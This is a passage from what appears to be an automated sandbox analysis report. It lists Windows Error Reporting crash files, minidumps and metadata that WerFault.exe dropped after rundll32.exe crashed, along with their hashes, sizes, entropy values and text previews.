SHA-256:	0A5219F561E16627A3B39785FE5A47FB45BA9084250C8D84EF84F24CFEE73FA4
SHA-512:	AE40DF57B8EC1E0F55F9A9489E0A3425B71F9561D6A5DE34DD8BD2EE399C2E0322C86DE3BDA68F0512072716F839E8F0797DFBBDF3A3DB30492E9AB74CFED8FB
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.3.0.0.4.1.8.0.5.7.1.6.0.4.4.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.3.0.0.4.1.8.0.7.5.5.9.7.8.3.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.b.4.1.7.5.4.8.-.3.6.5.a.-.4.1.2.0.-.8.d.8.e.-.f.9.3.c.1.e.d.0.a.0.f.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.1.1.0.e.d.1.a.-.3.2.d.c.-.4.6.d.9.-.9.d.6.7.-.9.7.1.3.2.1.3.6.6.6.9.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.f.8.-.0.0.0.1.-.0.0.1.f.-.b.1.e.8.-.f.2.2.1.0.6.9.4.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.b.5.f.!.r.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_fce87c8f307b30dca7c45f44ed2a364c18519efd_82810a17_13262a0c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.908530639512352
Encrypted:	false
SSDEEP:	192:ngi30oXXHBUZMX4jed+I/u7swS274ItWc:giJX3BUZMX4jet/u7swX4ItWc
MD5:	AFF88FC1F8E83A4CA04E968C04C7C688
SHA1:	9C02424C4FA96C2942820A9F6BC69C8264E6A6E7
SHA-256:	D810573F12FD6CC6B46CEE201CACB72E17AEE7A90D3DF35714D961FBB8F66AFB
SHA-512:	A3E5FD2CD1E3B8435B483342F6816BBB2FB3136854F5317808D4BAFB161BEB0698945E4E034D0E5A5292E7E8A0E152C7C694AFA0B87337AA1A3958F5CA241358
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.3.0.0.4.1.7.9.6.0.0.8.4.0.3.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.3.0.0.4.1.7.9.7.1.0.2.1.3.4.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.e.1.d.f.2.6.0.-.e.1.8.9.-.4.6.1.4.-.8.b.f.5.-.e.3.4.3.d.c.e.0.7.2.0.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.d.1.6.d.c.9.5.-.8.6.4.a.-.4.a.1.d.-.8.f.1.8.-.8.0.d.5.4.7.b.e.0.e.7.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.3.4.-.0.0.0.1.-.0.0.1.f.-.9.3.d.5.-.4.4.1.c.0.6.9.4.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_fce87c8f307b30dca7c45f44ed2a364c18519efd_82810a17_14da29be\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9082374025654678
Encrypted:	false
SSDEEP:	192:b/5id0oXDHBUZMX4jed+I/u7swS274ItWc:z5izXDBUZMX4jet/u7swX4ItWc
MD5:	80000179D3804BCA9479555468130CBF
SHA1:	8BCDD408DD45994FE6C82ABA71909F035FF53A26
SHA-256:	1DBFA8588B1D7B9A74073D6F7E91C4069068B694CF412674CBF015484ADB3209
SHA-512:	7F17AB6E8A4FBB9CD73B60473D40A2867E4BA22C8B1C5051AAF811A1ABB377488D8F4150733BFFD9E3BF5776D3A452A36F82331D2B09B444BDB83846543C356D
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.3.0.0.4.1.7.9.6.0.8.1.3.0.2.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.3.0.0.4.1.7.9.7.0.8.1.3.0.3.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.4.4.4.b.3.4.e.-.3.b.3.3.-.4.d.5.2.-.8.f.d.2.-.3.9.a.0.2.c.b.e.4.3.4.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.1.7.0.6.d.0.9.-.9.a.d.7.-.4.7.e.c.-.b.4.9.e.-.9.4.e.9.b.c.3.c.9.1.3.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.e.0.-.0.0.0.1.-.0.0.1.f.-.0.7.f.3.-.4.1.1.c.0.6.9.4.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_fce87c8f307b30dca7c45f44ed2a364c18519efd_82810a17_1bd22a0c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9083995569837817
Encrypted:	false
SSDEEP:	192:7uNiR0oX9HBUZMX4jed+I/u7swS274ItWc:0ifXNBUZMX4jet/u7swX4ItWc
MD5:	1C21B603083C8496D299D9351BCE1C09
SHA1:	02D160491DF413BB172B9DDB5BFA4299D5CEB376
SHA-256:	023249F52922A560432552F5204272B52FD3EA6A7F65FB5D7AD9CA01057B22E4
SHA-512:	5AD09C14201518B016167C5772FBE122DBD5B578013472E64B3E85EE3C5E4CD70BB0A637CDDD22D707B1587E3CD1142B884F60C48F0FDC23B74E976CBA0167B0
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.3.0.0.4.1.7.9.8.4.5.3.3.9.0.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.3.0.0.4.1.7.9.9.2.0.3.3.9.1.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.e.c.d.f.3.5.6.-.8.8.d.5.-.4.9.0.a.-.8.5.5.8.-.7.f.e.2.2.c.6.e.b.a.b.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.1.c.4.4.0.5.b.-.f.8.a.5.-.4.1.2.1.-.b.1.5.6.-.8.9.d.8.9.f.d.d.9.c.4.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.2.4.-.0.0.0.1.-.0.0.1.f.-.a.f.1.0.-.1.1.1.e.0.6.9.4.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_fce87c8f307b30dca7c45f44ed2a364c18519efd_82810a17_1d0a3a87\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9083026550103219
Encrypted:	false
SSDEEP:	192:ELU/iz0oXRHBUZMX4jed+I/u7swS274ItWc:6aitXhBUZMX4jet/u7swX4ItWc
MD5:	A55A4307CA041E65E0CC83DCB7E7DBA4
SHA1:	18203487EFEFE079BA417BFBA73412A2AD3EF1DC
SHA-256:	5D99A362204076D7E5D940656F414D4C9DC91CF20E499066A7D9D6CAD39AEB63
SHA-512:	089DC4C76028B601CCDEE77E6AF30C012D9974EDBE9EB363102F729BD6EE54EF9EC9DC6A0058A74F856A3089CB30E132BFF9C125FDECA64053E25B5DAF07323A
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.3.0.0.4.1.8.0.5.3.1.4.3.1.5.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.3.0.0.4.1.8.0.7.1.2.6.8.0.3.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.8.5.2.e.4.3.a.-.0.b.0.b.-.4.9.9.9.-.8.0.9.0.-.f.0.d.2.0.c.b.b.7.7.9.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.7.a.7.c.9.7.c.-.6.0.5.1.-.4.3.7.c.-.a.3.d.4.-.d.f.1.4.e.1.a.2.6.6.f.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.a.4.-.0.0.0.1.-.0.0.1.f.-.e.f.8.3.-.b.3.2.1.0.6.9.4.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_fce87c8f307b30dca7c45f44ed2a364c18519efd_82810a17_1d123b42\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9087383303164102
Encrypted:	false
SSDEEP:	192:USim0oXdHBUZMX4jed+I/u7swS274ItWc:1iAXtBUZMX4jet/u7swX4ItWc
MD5:	8C0815AACCC143F390B40C4106559201
SHA1:	326FEF62100B752B1E3FE1D0A219A84E43400DA2
SHA-256:	2634F39AE4D661C8BFA08C30E70CB2BD9561112731ADE4C1027A4294754701BC
SHA-512:	974BFF9F25E23BA75B6C5853C2AD16ECEB1325AAE745F6A959433E8BE3DC49B1260EFDE744C6DACC5F6C09165142AA10CC6714003E11A8D641E67B80238CC37D
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.3.0.0.4.1.8.0.5.3.5.3.5.9.0.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.3.0.0.4.1.8.0.7.2.5.9.8.3.2.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.5.0.4.d.b.9.c.-.7.9.2.9.-.4.1.c.2.-.9.8.b.1.-.6.5.e.0.0.c.2.2.6.4.5.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.e.d.d.a.b.d.b.-.8.0.1.9.-.4.0.1.d.-.b.d.f.4.-.d.4.b.0.9.f.f.5.e.0.d.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.a.c.-.0.0.0.1.-.0.0.1.f.-.3.0.f.f.-.b.b.2.1.0.6.9.4.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER14BF.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed May 31 21:23:18 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	38458
Entropy (8bit):	2.2192292639701816
Encrypted:	false
SSDEEP:	192:efWZgZ53+J+3Frsocz2UNVO5SkbZSEloKv2MhqEEbnE9pzv/a:iC+vcz2I45LbZpoohonUb/a
MD5:	97D3693B4EF44350F4A4F951A7433B16
SHA1:	270CAC659A0FF9705F9D1FB039AFD15BBFF69E83
SHA-256:	4A2E5CF3D9E6B72D150612F6E36D97F9759B6DD47E1BB6CC5721775F344D2388
SHA-512:	54CEAA2BE6AE7A1160DC5D5196D80C816232800091B1154B29825270C00013C707DAA75F2EC52D67B70BBCC69741A5767F42DBC110DA5F76E8BEB95BB339D195
Malicious:	false
Preview:	MDMP....... ........wd............d...............l............)..........T.......8...........T...............:\|...........................................................................................U...........B..............GenuineIntelW...........T.......$....wd.............................0..=...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER15E9.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8270
Entropy (8bit):	3.6871479945127534
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi/f6b6YOa6HgmfTASSFCprM89bFBsf8v3m:RrlsNin6b6YD6HgmfTAShF6f5
MD5:	6EB4319F74AA71819345385C3BA9511C
SHA1:	1FCAAB5E01BF906D6C375EA37E0F19D77B43D128
SHA-256:	F9980AF05A859147FBE616E0F25B7415CE050286917D0A4D896ED47EE4A90FE2
SHA-512:	83F999262CD5D776E1C846DD52DB0BD392408C46BFE7AD2E5A816BCC3430A1997758DC7D9236032E1E360927BEDE9CB5ECD3CF0925DBCB00486474462D9101DB
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.1.0.8.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1657.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4654
Entropy (8bit):	4.457347400273625
Encrypted:	false
SSDEEP:	48:cvIwSD8zsyJgtWI9DeyWgc8sqYjq8fm8M4JCds63xFl+q8/13lx4SrSgd:uITfAMeTgrsqYDJA5QHDWgd
MD5:	A3432F01334F5EF7CB059C7383899A06
SHA1:	8F25130D11BC31E6E94AA93CC336C83394D7AD52
SHA-256:	4C4519B86EE0E27E3B928F82AB2262B2F885A6DF3292306844AA6223B0180235
SHA-512:	0F3A8A639A84DC2351C0EE5415AC3B00E1679295B78F36BE5C846B23BE7A3B363A19A50F3FB630A79211AB920FEACEC1C478B94C92CA1C8F0DB471ACBF34C2D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="2065353" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER20E4.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed May 31 21:23:21 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	286994
Entropy (8bit):	1.5482379144780642
Encrypted:	false
SSDEEP:	384:vC+qo5LbMUXH0baggLjrgEaw1ULlOAqCUQJyluW+xFQlKTIS+FjTDbD21HErYJSn:v3Vb9g6zA3X4AlndxGRZXZLNR6xa
MD5:	9701ABDFD4E12B24533BCCFB444F04B4
SHA1:	D37308BCF7FC7EAA1A781A5F91A4B071787BB8DC
SHA-256:	4F45A10DF6125E329F8EAABEF6B5D27B444D689BDFEB903AFFAF7D74B7AE1CC7
SHA-512:	7B243854BB39E74091093F59F598EE11EECD41B6B6A29F99B8CF093EF5E7F389C35791C55D3BD0E3D347F3383615196614AC301A6868383D3B5C1859BF7F8EAD
Malicious:	false
Preview:	MDMP....... ........wd............d...............l............)..........T.......8...........T...............bG...........................................................................................U...........B..............GenuineIntelW...........T.......0....wd.............................0..=...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2337.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8352
Entropy (8bit):	3.688879934283288
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNivb6B9e6YOW63gmf8f1SNcI4FCpDt89bMlsfpEm:RrlsNiT6y6Y/63gmf8f1SNcNM+fP
MD5:	E4F90668EF767D406BA2E33378CCA53F
SHA1:	D735A712402F7727EE62AC08FDB11BCAA99DED6C
SHA-256:	5E6EFAB0482803BE62EB78616E159F38DB5CC976B4ADD3EA929DBBA2427ABC51
SHA-512:	C4AE8243DB7482A043346D08C98954DCF33AF20E2C266A57626647DFD462C53C45C90311866FCE40B3CFE8EDF23733B14BBCC605254C9F39A1A8825735220DA9
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.1.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2396.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4771
Entropy (8bit):	4.4740653873145195
Encrypted:	false
SSDEEP:	48:cvIwSD8zszJgtWI9DeyWgc8sqYjc8fm8M4JCdsO5FVx+q8vjsOj4SrSUd:uITfNMeTgrsqYFJQxKPDWUd
MD5:	1253C18472C784AC18DF110CF2552D73
SHA1:	EF97B2AA024D333E5D159DE06D51608A836CAEE1
SHA-256:	26D22EA7FAE19F339BE28FA9BD7CDF07872901651E9A0A13C6651FB5E6508658
SHA-512:	3F94A7CB243E2E2E14F75F12EA77482FD49312A2F2ADD777E4BB5949B4EDA4F1F3D2726524BE673C0F5989784226050533E05DA0433F272515D3B889AD7AF43E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="2065354" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2F8A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed May 31 21:23:25 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	37618
Entropy (8bit):	2.2520075972177924
Encrypted:	false
SSDEEP:	192:pSdhgZ53+J+lfFp3JqlfO5Skb9CDtOpSEih7EJF4CHqv7:jC+l8lW5Lb9Cyu9EJF4z7
MD5:	5684750C419CF9D198095CF397598E2C
SHA1:	889F1CD946931A7750A4885BF86F42DFCB048913
SHA-256:	D27522FD4F037EF6F848827AC1CCE3CBC2D1D703B73CC391DA3BE3BDC38205A2
SHA-512:	4A8F501F0DA1C41C7323C207924305DBDA155C2FBA8FB43D683234A25F34E6B6DCA2082DF6DED7254CBE246D88F3E4CD6BF243B76BFF96A554C6AE40207B203D
Malicious:	false
Preview:	MDMP....... ........wd............d...............l............)..........T.......8...........T................x...........................................................................................U...........B..............GenuineIntelW...........T............wd.............................0..=...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2FB9.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
